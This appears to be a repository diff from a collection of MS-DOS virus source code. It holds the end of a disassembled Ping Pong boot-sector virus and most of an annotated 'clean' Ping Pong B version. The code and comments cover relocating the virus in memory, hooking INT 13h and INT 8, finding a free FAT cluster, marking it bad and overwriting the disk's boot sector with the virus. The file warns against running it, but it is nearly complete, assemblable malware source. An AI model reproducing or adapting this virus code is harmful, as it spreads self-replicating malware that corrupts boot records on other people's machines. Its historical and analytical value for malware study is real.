||||
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
|
||||
MOV AX,TOTAL_SECTORS+OFS_ADJ ;Get total # of sectors on disk
|
||||
SUB AX,SYSTEM_SECTORS+OFS_ADJ ;Subtract # of system sectors
|
||||
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors in a cluster
|
||||
XOR DX,DX ;Clear high order word...
|
||||
XOR BH,BH ; and byte for division
|
||||
DIV BX ;Divide, to get # of clusters
|
||||
INC AX ;Round up by one
|
||||
MOV DI,AX ;Save for "find free" routine
|
||||
AND Byte Ptr FLAGS+OFS_ADJ,11111011B ;Clear "16 bit FAT" flag.
|
||||
CMP AX,0FF0H ;Is # of clusters too high?
|
||||
JBE @@1
|
||||
OR Byte Ptr FLAGS+OFS_ADJ,00000100B ;If so, set flag for 16 bit FAT
|
||||
@@1:
|
||||
;Now the search for a free cluster begins.
|
||||
MOV SI,1 ;Counter of now many FAT sectors searched
|
||||
MOV BX,RES_SECTORS+OFS_ADJ ;Start with 1st FAT sector
|
||||
DEC BX ;Sub 1, because we add 1 later
|
||||
MOV CUR_FAT_SECTOR+OFS_ADJ,BX
|
||||
MOV Byte Ptr FAT_OFS_ADJ+OFS_ADJ,-2 ;Set "cluster overhead"
|
||||
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
|
||||
|
||||
ORG 01F3H
|
||||
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
|
||||
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
|
||||
FLAGS DB ? ;Bit mapped flags
|
||||
DRIVE DB ? ;Current drive number
|
||||
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
|
||||
CONTUATION DB ? ;??? Continuation flag???
|
||||
ORG 01FCH
|
||||
VIRUS_SIG DW 01357H ;Virus' signature
|
||||
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
|
||||
|
||||
|
||||
;*************** Second sector of virus code starts here! ******************;
|
||||
|
||||
ORG 0200H
|
||||
VIRUS_PART2_CONT:
|
||||
|
||||
;Note: DI has maximum cluster number, and SI has current cluster number.
|
||||
@@NEXT_SECTOR:
|
||||
INC Word Ptr CUR_FAT_SECTOR+OFS_ADJ ;Add one to FAT sector #
|
||||
MOV BX,CUR_FAT_SECTOR+OFS_ADJ
|
||||
ADD Byte Ptr FAT_OFS_ADJ+OFS_ADJ,2
|
||||
CALL READ_SECTOR ;Read the FAT sector
|
||||
JMP SHORT @@CHECK ;Check for end of search
|
||||
@@FIND_FREE:
|
||||
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
|
||||
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
|
||||
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
|
||||
;divide by 2.
|
||||
MOV AX,3
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;Check for 16 bit FAT
|
||||
JZ @@0
|
||||
INC AX ;Use 4 if FAT-16
|
||||
@@0:
|
||||
MUL SI ;Multiply by cluster number
|
||||
SHR AX,1 ;Divide by 2
|
||||
|
||||
;The cluster adjustment value is needed to keep offsets within 512 bytes.
|
||||
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
|
||||
;we calculate another FAT offset for each subsequent FAT sector.
|
||||
SUB AH,FAT_OFS_ADJ+OFS_ADJ ;Subtract cluster adjustment
|
||||
MOV BX,AX
|
||||
CMP BX,01FFH ;Is offset too high?
|
||||
JNB @@NEXT_SECTOR ;If so, go to next sector
|
||||
MOV DX,Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ] ;Get entry
|
||||
|
||||
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
|
||||
;necessary. On a FAT-16, we can use the vlaue directly.
|
||||
;If it is a 12 bit FAT:
|
||||
; Clear upper nibble if cluster number is even.
|
||||
; Otherwise, throw out lower nibble and shift down by 4 bits.
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check
|
||||
JNZ @@2
|
||||
MOV CL,04 ;Prepare for shift
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@1
|
||||
SHR DX,CL ;Shift down by 1 nibble if odd.
|
||||
@@1:
|
||||
AND DH,0FH ;Clear highest nibble.
|
||||
|
||||
@@2:
|
||||
;A free cluster has an entry of 0. Using the TEST instruction, we check
|
||||
;for an entry of 0. Note that the TEST DX,0FFFFH could be replaced by
|
||||
;OR DX,DX, saving two bytes.
|
||||
TEST DX,0FFFFH
|
||||
JZ FREE_FOUND
|
||||
@@CHECK: ;See if the maximun cluster number has been
|
||||
INC SI ; reached. If so, then no free cluster has
|
||||
CMP SI,DI ; been found, so we can't infect the disk
|
||||
JBE @@FIND_FREE
|
||||
RET
|
||||
|
||||
FREE_FOUND:
|
||||
;Now that we found a free cluster, we'll set that cluster to "bad" status.
|
||||
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
|
||||
;accordingly.
|
||||
MOV DX,0FFF7H ;Bad cluster flag.
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check.
|
||||
JNZ @@0
|
||||
AND DH,0FH ;Clear upper nibble
|
||||
MOV CL,04
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@0
|
||||
SHL DX,CL ;Shift by 4 bits if odd.
|
||||
@@0:
|
||||
OR Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ],DX ;Insert new value.
|
||||
MOV BX,CUR_FAT_SECTOR+OFS_ADJ ;Get FAT sector #
|
||||
CALL WRITE_SECTOR ;Write modified FAT to disk
|
||||
MOV AX,SI ;Get free cluster number to AX
|
||||
SUB AX,2 ;Subtract cluster number basis
|
||||
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors/cluster
|
||||
XOR BH,BH
|
||||
MUL BX ;Multiply to get sector number
|
||||
ADD AX,SYSTEM_SECTORS+OFS_ADJ ;Add # system use sectors to
|
||||
MOV SI,AX ; get DOS sector # on disk
|
||||
MOV BX,0 ;Read the boot record from sector 0
|
||||
CALL READ_SECTOR
|
||||
MOV BX,SI ;Write it out to disk, in the second
|
||||
INC BX ; sector of our "bad" cluster
|
||||
CALL WRITE_SECTOR
|
||||
CONT_POINT:
|
||||
MOV BX,SI ;SI has first sector of free cluster
|
||||
MOV PART2_SECTOR+OFS_ADJ,SI ;Save it
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,20H ;Adjust segment value so ES:8000 will
|
||||
MOV ES,AX ; be the same as CS:7E00h
|
||||
CALL WRITE_SECTOR ;Write part 2 of virus to disk
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,40H ;Now adjust ES so an offset of 8000
|
||||
MOV ES,AX ; will point to CS:7C00h
|
||||
MOV BX,0 ;Write the first part of the virus
|
||||
CALL WRITE_SECTOR ; into the boot sector
|
||||
RET ;DISK IS NOW INFECTED!!!!
|
||||
|
||||
ORG 02B0H
|
||||
TICK_COUNT DW ?
|
||||
FAT_OFS_ADJ DB ?
|
||||
|
||||
INST_BALL: ;Install bouncing ball routine
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000010B ;Installed already?
|
||||
JNZ @@EXIT
|
||||
OR Byte Ptr FLAGS+OFS_ADJ,00000010B ;Set "installed" flag
|
||||
MOV AX,0
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT8_OFS ;Get vector for INT 8h
|
||||
MOV BX,INT8_SEG
|
||||
MOV INT8_OFS,OFFSET NEW_INT8+OFS_ADJ ;Set vector to point at
|
||||
MOV INT8_SEG,CS ; our routine.
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT8_PATCH+1+OFS_ADJ,AX ;Direcly patch original vecotr
|
||||
MOV INT8_PATCH+3+OFS_ADJ,BX ; contents into our code.
|
||||
@@EXIT:
|
||||
RET
|
||||
|
||||
NEW_INT8 LABEL FAR ;New INT 8 handler
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
PUSH BX ;Save affected registers
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH ;Get video mode, page, and # of columns
|
||||
INT 10H
|
||||
MOV BL,AL ;Move mode number into BL
|
||||
;If the video mode and page are the same as last time, then continue bouncing
|
||||
;the ball. Otherwise, reset the ball position and increment, and start anew.
|
||||
;Note: The active page number is in BH throughout this routine.
|
||||
CMP BX,VIDEO_PARAMS+OFS_ADJ ;Is mode and page same as last time?
|
||||
JE @@SAME_MODE
|
||||
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
|
||||
DEC AH ;Subtract 1 from number of columns
|
||||
MOV SCRN_COLS+OFS_ADJ,AH ; onscreen and save it.
|
||||
MOV AH,1 ;Assume graphics mode.
|
||||
CMP BL,7 ;Mono text mode?
|
||||
JNE @@0
|
||||
DEC AH ;Set flag to 0 if so.
|
||||
@@0:
|
||||
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
|
||||
JNB @@1
|
||||
DEC AH
|
||||
@@1:
|
||||
MOV GRAF_MODE+OFS_ADJ,AH ;Save flag value.
|
||||
MOV Word Ptr BALL_POS+OFS_ADJ,0101H ;Set XY position to 1,1
|
||||
MOV Word Ptr BALL_INC+OFS_ADJ,0101H ;Set XY increment to 1,1
|
||||
MOV AH,03H
|
||||
INT 10H ;Read cursor position into DX
|
||||
PUSH DX ; and save it on the stack.
|
||||
MOV DX,BALL_POS ;Get XY position of ball.
|
||||
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
|
||||
|
||||
@@SAME_MODE: ;Enter here if mode not changed.
|
||||
MOV AH,03H
|
||||
INT 10H ;Get cursor position into DX
|
||||
PUSH DX ; and save it.
|
||||
MOV AH,02
|
||||
MOV DX,BALL_POS+OFS_ADJ
|
||||
INT 10H ;Move to bouncing ball location.
|
||||
MOV AX,ORG_CHAR+OFS_ADJ ;Get original screen char & attribute.
|
||||
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 ;Check for graphics mode/
|
||||
JNE @@3
|
||||
MOV AX,8307H ;If graphics mode, use CHR$(7)
|
||||
@@3: ;If not, then use original char
|
||||
MOV BL,AH ;Move color value into BL
|
||||
MOV CX,1 ;Write one character
|
||||
MOV AH,09H ; with attributes and all
|
||||
INT 10H ; into page in BH.
|
||||
|
||||
;The update routine will check for the ball's position on a screen border.
|
||||
;If it's on a border, then negate the increment for that direction.
|
||||
;(ie, if the ball was moving up, reverse it.) If the increment was not
|
||||
;changed, then "randomly" change the X or Y increment based on the lower
|
||||
;three bits of the previous screen character. This will make the ball
|
||||
;appear to bounce around "randomly" on a screen filled with characters.
|
||||
|
||||
;Note that the ineffecient instructions "XOR rr,0FFH" and "INC rr" can be
|
||||
;replaced by "NEG rr" (where rr is a register.) This will save 3 bytes
|
||||
;for every occurance.
|
||||
UPDATE_BALL_POS: ;Figure new ball position.
|
||||
MOV CX,BALL_INC+OFS_ADJ ;Get ball position increment.
|
||||
CMP DH,0 ;Is is on the top row of the screen?
|
||||
JNZ @@0
|
||||
XOR CH,0FFH ;Make a ones-complement of the value,
|
||||
INC CH ; then add 1 to make a twos-comp.
|
||||
@@0:
|
||||
CMP DH,24 ;Reached bottom edge?
|
||||
JNZ @@1
|
||||
XOR CH,0FFH ;See above!
|
||||
INC CH
|
||||
@@1:
|
||||
CMP DL,0 ;Reached left edge?
|
||||
JNZ @@2
|
||||
XOR CL,0FFH ;See above!
|
||||
INC CL
|
||||
@@2:
|
||||
CMP DL,SCRN_COLS+OFS_ADJ ;Reached right edge?
|
||||
JNZ @@3
|
||||
XOR CL,0FFH ;Should be familar by now!
|
||||
INC CL
|
||||
@@3:
|
||||
CMP CX,BALL_INC+OFS_ADJ ;Is the increment the same as before?
|
||||
JNE CALC_NEW_POS ;If not, apply the modified increment.
|
||||
MOV AX,ORG_CHAR+OFS_ADJ ;Do "ramdom" updating, as described
|
||||
AND AL,00000111B ; in the note above.
|
||||
CMP AL,00000011B
|
||||
JNE @@4
|
||||
XOR CH,0FFH ;Reverse Y direction.
|
||||
INC CH
|
||||
@@4:
|
||||
CMP AL,00000101B
|
||||
JNE CALC_NEW_POS
|
||||
XOR CL,0FFH ;Reverse X direction.
|
||||
INC CL
|
||||
|
||||
CALC_NEW_POS:
|
||||
ADD DL,CL ;Add increments to ball position.
|
||||
ADD DH,CH
|
||||
MOV BALL_INC+OFS_ADJ,CX ;Save ball position increment and
|
||||
MOV BALL_POS+OFS_ADJ,DX ; new ball position.
|
||||
MOV AH,02H ;Move to ball position, which is
|
||||
INT 10H ; in register DX.
|
||||
MOV AH,08H ;Read the present screen char and
|
||||
INT 10H ; attribute.
|
||||
MOV ORG_CHAR+OFS_ADJ,AX ;Save them for next time.
|
||||
MOV BL,AH ;Use same attribute, if in text mode
|
||||
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1
|
||||
JNE @@0
|
||||
MOV BL,83H ;Otherwise, use color # 83H
|
||||
@@0:
|
||||
MOV CX,0001H ;Write one character and attribute
|
||||
MOV AX,0907H ; using CHR$(7) as the character.
|
||||
INT 10H
|
||||
POP DX ;Get old cursor position.
|
||||
MOV AH,02H ;Move cursor back to that position.
|
||||
INT 10H
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore affected registers.
|
||||
POP AX
|
||||
POP DS
|
||||
INT8_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
|
||||
|
||||
ORG_CHAR DW ? ;Original screen character and attribute.
|
||||
BALL_POS DW ? ;Bouncing ball's XY position.
|
||||
BALL_INC DW ? ;Ball's XY increment
|
||||
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
|
||||
VIDEO_PARAMS DW ? ;Mode number and page number.
|
||||
SCRN_COLS DB ? ;Number of screen columns minus 1
|
||||
|
||||
VIRUS_LENGTH EQU $-START_HERE
|
||||
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
|
||||
|
||||
;******************** End of virus code! **************************************
|
||||
|
||||
ORG 0400H ;Work area for the virus
|
||||
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
|
||||
_JMP_INST DW ?
|
||||
_NOP_INST DB ?
|
||||
|
||||
_OEM_ID DB 8 DUP(?)
|
||||
_BYTES_PER_SEC DW ?
|
||||
_SEC_PER_CLU DB ?
|
||||
_RES_SECTORS DW ?
|
||||
_FAT_COPIES DB ?
|
||||
_DIR_ENTRIES DW ? ;This is the BPB of the target
|
||||
_TOTAL_SECTORS DW ? ; disk during infection.
|
||||
_MEDIA_DESCRIP DB ?
|
||||
_SEC_PER_FAT DW ?
|
||||
_SEC_PER_TRK DW ?
|
||||
_SIDES_ON_DISK DW ?
|
||||
_HIDDEN_SECTORS DW ?
|
||||
|
||||
ORG 05BEH
|
||||
PARTITION_TABLE LABEL NEAR
|
||||
|
||||
ORG 05F3H
|
||||
_CUR_FAT_SECTOR DW ?
|
||||
_SYSTEM_SECTORS DW ?
|
||||
_FLAGS DB ?
|
||||
_DRIVE DB ?
|
||||
_PART2_SECTOR DW ?
|
||||
_CONTINUATION DB ?
|
||||
ORG 05FCH
|
||||
_VIRUS_SIG DW ?
|
||||
_BIOS_SIG DW ? ;Should always be 0AA55h
|
||||
VIRUS ENDS
|
||||
END
|
||||
|
||||
;Disassembled by James L. July 1991
|
||||
;# EOF #;
|
730
MSDOS/Virus.MSDOS.Unknown.pingbnew.asm
Normal file
730
MSDOS/Virus.MSDOS.Unknown.pingbnew.asm
Normal file
@ -0,0 +1,730 @@
|
||||
TITLE PINGB-C.ASM - Ping Pong "B" virus assembly source code (CLEAN VERSION)
|
||||
|
||||
COMMENT # Read the following carefully:
|
||||
|
||||
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
|
||||
|
||||
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
|
||||
This virus, when assembled, is (almost) harmless if left in a file.
|
||||
At best, the code will overwrite part of DOS and hang your machine.
|
||||
At worst, it could wipe out the Boot record of A: or the master boot
|
||||
record of your hard disk. Since the virus MUST be loaded from a boot
|
||||
sector to function properly, running the code from DOS will definitely
|
||||
cause problems.
|
||||
|
||||
DISCLAIMER: The author will NOT be held responsible for any damages
|
||||
caused by careless use of the information presented here.
|
||||
|
||||
NOTE: This is the "clean" copy of the Ping Pong B virus. It "corrects"
|
||||
the coding quirks listed below.
|
||||
|
||||
|
||||
THEORY OF OPERATION:
|
||||
|
||||
1) A disk with the virus is booted.
|
||||
2) The BIOS memory count is decreased by 2k, to prevent DOS from
|
||||
overwriting the virus, and relocates itself to the reserved space.
|
||||
3) Part II of the virus is read into RAM just after part I.
|
||||
4) The original boot sector is read to 0000:7C00.
|
||||
5) Virus gets and saves the address of INT 13h, the BIOS disk service
|
||||
interrupt routine, then hooks its own routine in place.
|
||||
6) The virus jumps to 0000:7C00, load DOS if possible.
|
||||
|
||||
|
||||
INFECTION PROCESS:
|
||||
|
||||
1) A BIOS read request is preformed on the target disk.
|
||||
2) If the drive is different from the last drive that was read from, then
|
||||
attempt infection immediately. Otherwise, check the BIOS clock tick
|
||||
count to see if it's time to activate the bouncing ball routine.
|
||||
3) Read very first sector of the disk. If it's a hard disk, then search
|
||||
for a DOS-12 or DOS-16 partition, and if found, read the first sector
|
||||
of THAT partition. We now have the "normal" boot record of the target
|
||||
disk in the sector buffer.
|
||||
4) Copy the BPB from the boot record to the virus code space.
|
||||
5) Check virus' signature in the boot record to see if infected before.
|
||||
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
|
||||
per cluster to infect the disk.
|
||||
6) Calculate number of system use sectors, data sectors, and maximum cluster
|
||||
number.
|
||||
7) Starting with the first sector of the FAT, search for a free cluster.
|
||||
If none found, then don't infect the disk.
|
||||
8) The first free cluster is flagged as bad, and the FAT is updated. Note
|
||||
that only the first copy of the FAT will be modified.
|
||||
9) The original boot sector is re-read and written to the second sector of
|
||||
the virus' cluster. Part II of the virus is written to the first sector.
|
||||
Part I is written to sector 0, replacing the original boot record.
|
||||
|
||||
|
||||
INFECTION RESTRICTIONS:
|
||||
|
||||
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
|
||||
1) The virus will not infect a non-DOS bootable hard disk.
|
||||
2) The virus will only infect a disk with 512 byte sectors, and at least two
|
||||
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
|
||||
3) The virus will not infect a disk with no free space (from DOS's view).
|
||||
|
||||
|
||||
CODING QUIRKS: (All have been corrected!!)
|
||||
|
||||
1) The virus uses a "MOV CS,AX" instruction to continue execution after
|
||||
relocating itself to higher memory (see MEMORY MAP, below). This should
|
||||
not work on a 286 or 386 system (the author has not tried it!).
|
||||
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
|
||||
register). It could be replaced by "XOR rr,0" to save a byte.
|
||||
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
|
||||
computing the ones complement, then adding one to get the twos
|
||||
complement.) This could be replaced by "NEG rr" to save three bytes.
|
||||
4) The use of OFS_ADJ (see below for computation) is needed to let me use
|
||||
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
|
||||
that would create a file about 32k in size on assembling. Instead, I
|
||||
chose to add this offset manually to force correct address generation.
|
||||
|
||||
|
||||
MEMORY MAP: (Adjusted for "clean" version!!)
|
||||
|
||||
The virus will relocate itself 2k below the top of memory. The virus
|
||||
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
|
||||
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
|
||||
the BIOS top of memory count. For a 640k machine the map becomes:
|
||||
|
||||
640.0k (9F80:0800, which is A000:0000) ==> Top of memory
|
||||
639.5k (9F80:0600 to 9F80:07FF) ==> Unused
|
||||
639.0k (9F80:0400 to 9F80:05FF) ==> Buffer used by virus
|
||||
638.5k (9F80:0200 to 9F80:03FF) ==> 2nd part of virus code
|
||||
638.0k (9F80:0000 to 9F80:01FF) ==> Main part of Ping Pong virus
|
||||
|
||||
# End of comment
|
||||
|
||||
|
||||
LOCALS
|
||||
|
||||
PROGRAM_ASSEMBLY_OFS EQU 0000H
|
||||
BOOT_SECTOR_LOAD_OFS EQU 7C00H
|
||||
|
||||
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
|
||||
ORG 0H ;Interrupt vector space
|
||||
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
|
||||
|
||||
ORG 0020H
|
||||
INT8_OFS DW ? ;INT 8h vector offset & segment
|
||||
INT8_SEG DW ?
|
||||
|
||||
ORG 004CH
|
||||
INT13_OFS DW ? ;INT 13h vector offset & segment
|
||||
INT13_SEG DW ?
|
||||
|
||||
ORG 0413H ;BIOS data area
|
||||
KB_MEM DW ? ;K bytes of RAM in machine
|
||||
|
||||
ORG 7C00H ;Jump here to load O/S
|
||||
BOOT_SECTOR_EXEC LABEL FAR
|
||||
|
||||
LOW_MEM_DATA ENDS
|
||||
|
||||
VIRUS SEGMENT
|
||||
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
|
||||
ORG 0H
|
||||
|
||||
START_HERE:
|
||||
JMP SHORT CODE_START ;Force a two byte relative JuMp
|
||||
NOP_INST:
|
||||
NOP
|
||||
OEM_ID DB 'PingPong' ;Must be eight characters long!
|
||||
BYTES_PER_SEC DW 512
|
||||
SEC_PER_CLU DB 2
|
||||
RES_SECTORS DW 1
|
||||
FAT_COPIES DB 2
|
||||
DIR_ENTRIES DW 112 ;This is a standard
|
||||
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
|
||||
MEDIA_DESCRIP DB 0FDH
|
||||
SEC_PER_FAT DW 2
|
||||
SEC_PER_TRK DW 9
|
||||
SIDES_ON_DISK DW 2
|
||||
HIDDEN_SECTORS DW 0
|
||||
|
||||
ORG 001EH ;Must ORGinate at offset 1Eh
|
||||
CODE_START:
|
||||
XOR AX,AX
|
||||
MOV SS,AX ;Set up stack pointer
|
||||
MOV SP,BOOT_SECTOR_LOAD_OFS
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,KB_MEM ;Get BIOS's count of available memory
|
||||
SUB AX,2 ;Reserve 2k for virus's use
|
||||
MOV KB_MEM,AX ;Save updated memory Kbyte count
|
||||
|
||||
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
|
||||
;paragraph count. The result is the target segment value for relocation.
|
||||
;For a 640k machine (numbers in parenthesis are decimal equivalents)
|
||||
; Original BIOS memory count: 280h ( 640) Kbytes
|
||||
; After virus subtracts 2k : 27Eh ( 638) Kbytes
|
||||
; Shifting left by 6 bits : 9F80h (40832) segment value
|
||||
MOV CL,06
|
||||
SHL AX,CL ;This is same as multiplying by 64
|
||||
MOV ES,AX ;Use result as segment value
|
||||
MOV SI,BOOT_SECTOR_LOAD_OFS
|
||||
XOR DI,DI ;Set up index regisetrs for move
|
||||
MOV CX,256
|
||||
REP MOVSW ;Copy 256 words (ie 512 bytes)
|
||||
MOV Word Ptr CS:CONT_ADDR+7C02H,AX ;Patch JUmP instruction.
|
||||
JMP CS:CONT_ADDR ;JUMP far into higher memory
|
||||
CONT_ADDR LABEL DWORD
|
||||
DW VIRUS_CONT
|
||||
DW ?
|
||||
|
||||
VIRUS_CONT LABEL FAR ;Continuation address after move
|
||||
PUSH CS
|
||||
POP DS ;Set up DS register
|
||||
ASSUME ES:VIRUS,DS:VIRUS
|
||||
CALL @@LOAD_PART_2 ;try two times to load part 2
|
||||
@@LOAD_PART_2:
|
||||
XOR AH,AH
|
||||
INT 13H ;Reset disk subsystem
|
||||
AND Byte Ptr DRIVE,080H ;Force drive number to either A: or C:
|
||||
MOV BX,PART2_SECTOR
|
||||
|
||||
;The sector read/write routine always uses a fixed offset of 0400h; so to get
|
||||
;the data into the right place, the segment registers are adjusted instead.
|
||||
;We want to load part 2 of the virus just after part 1, so the offset normally
|
||||
;would be 0200h (ie, 0000h+0200h). However, since the offset MUST be 0400h,
|
||||
;we will change ES to be 0200h BYTES lower then it normally would be.
|
||||
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
|
||||
;only subtract 0020h.
|
||||
;This gives us a effective offset calculation of 0400h - (20h * 10h) = 0200h
|
||||
PUSH CS
|
||||
POP AX ;See note above!!
|
||||
SUB AX,20H
|
||||
MOV ES,AX ;Move result into ES for read routine
|
||||
|
||||
CALL READ_SECTOR
|
||||
MOV BX,PART2_SECTOR ;Sector after part 2 of the virus is
|
||||
INC BX ; the original boot record of the disk
|
||||
MOV AX,0780H ;Address calculation for sector read:
|
||||
MOV ES,AX ; 0400h + (0780h * 10h) = 07C00h
|
||||
CALL READ_SECTOR ;Seperate segment and offset, and
|
||||
XOR AX,AX ; you get 0000:7C00.
|
||||
MOV FLAGS,AL ;Clear all flags.
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT13_OFS
|
||||
MOV BX,INT13_SEG
|
||||
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13
|
||||
MOV INT13_SEG,CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT13_PATCH+1,AX ;Save original INT 13h vector
|
||||
MOV INT13_PATCH+3,BX ; directly into instruction stream.
|
||||
MOV DL,DRIVE
|
||||
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
|
||||
|
||||
;***************************************
|
||||
WRITE_SECTOR:
|
||||
MOV AX,0301H
|
||||
JMP SHORT VIRUS_DISK_SERV
|
||||
READ_SECTOR:
|
||||
MOV AX,0201H
|
||||
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
|
||||
XCHG AX,BX ;Swap command code and sector number
|
||||
|
||||
;Now calculate the physical location of the sector number. DOS sectors are
|
||||
;sequential, while the BIOS uses track, head, and sector numbers.
|
||||
;Method:
|
||||
; Starting with: AX=DOS sector #
|
||||
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
|
||||
; Move sector number (in DL) to CH for later processing
|
||||
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
|
||||
; Since the track # may be more than 255, we will combine the lower
|
||||
; two bits in AH with the sector number in CH. First shift it left
|
||||
; by 6 bits, to get it in the form tt000000, then OR it with CH.
|
||||
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
|
||||
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
|
||||
; and "s" is bits of sector number. )
|
||||
; Now copy AX into CX, and reverse the two halves of CX. Now the track
|
||||
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
|
||||
; The side number is still in DL, so copy it into DH for the BIOS.
|
||||
|
||||
ADD AX,HIDDEN_SECTORS ;Add number of hidden sectors
|
||||
XOR DX,DX ; (Clear high word for 32 bit division)
|
||||
DIV SEC_PER_TRK ;Divide by sectors/track to get
|
||||
INC DL ; sector number in DX.
|
||||
MOV CH,DL
|
||||
XOR DX,DX
|
||||
DIV SIDES_ON_DISK ;Divide what's left in AX by
|
||||
MOV CL,06 ; # of sides to get a track number
|
||||
SHL AH,CL ; in AX and the head number in DX.
|
||||
OR AH,CH ;Do some bit shuffling to get the
|
||||
MOV CX,AX ; pieces in order...
|
||||
XCHG CH,CL
|
||||
MOV DH,DL ; and we're done! (whew!)
|
||||
|
||||
MOV AX,BX ;Move command code back into AX
|
||||
DISK_SERVICE:
|
||||
MOV DL,DRIVE
|
||||
MOV BX,0400H ;Offset is fixed. (See notes above)
|
||||
INT 13H
|
||||
JNC @@NO_ERR ;If successful, then return to caller normally
|
||||
POP AX ;Otherwise, remove caller's return address
|
||||
@@NO_ERR: ; and return one lever higher than should.
|
||||
RET
|
||||
|
||||
NEW_INT13 LABEL FAR ;New INT 13h handler
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX ;Save registers on stack
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Establish our data segment registers
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
ASSUME DS:VIRUS,ES:VIRUS
|
||||
TEST Byte Ptr FLAGS,00000001B ;Was this INT invoked before?
|
||||
JNZ @@END ;If so, ignore this call
|
||||
CMP AH,02 ;Intercept read requests only
|
||||
JNE @@END
|
||||
CMP DRIVE,DL ;Check drive number...
|
||||
MOV DRIVE,DL ; (also save it for next time)
|
||||
JNZ @@INFECT ;...if not the same, infect immediately
|
||||
XOR AH,AH
|
||||
INT 1AH ;Get clock tick count
|
||||
TEST DH,07FH ;Is it the right time to activate
|
||||
JNZ @@UPDATE_TICKS ; the bouncing ball display?
|
||||
TEST DL,0F0H
|
||||
JNZ @@UPDATE_TICKS
|
||||
PUSH DX ;Preserve clock tick count
|
||||
CALL INST_BALL ;Install the bouncing ball routine,
|
||||
POP DX ; if not established already.
|
||||
@@UPDATE_TICKS:
|
||||
MOV CX,DX ;Find elapsed time since last call
|
||||
SUB DX,TICK_COUNT ; to this routine. Also save tick
|
||||
MOV TICK_COUNT,CX ; count for next time.
|
||||
SUB DX,36 ;If less than 2 seconds have passed,
|
||||
JB @@END ; don't infect the disk.
|
||||
@@INFECT:
|
||||
OR Byte Ptr FLAGS,00000001B ;Set busy flag for INT 13h
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL INFECT_A_DISK ;Attempt to infect target disk
|
||||
POP DI
|
||||
POP SI
|
||||
AND Byte Ptr FLAGS,11111110B ;Clear busy flag.
|
||||
@@END:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore caller's registers
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
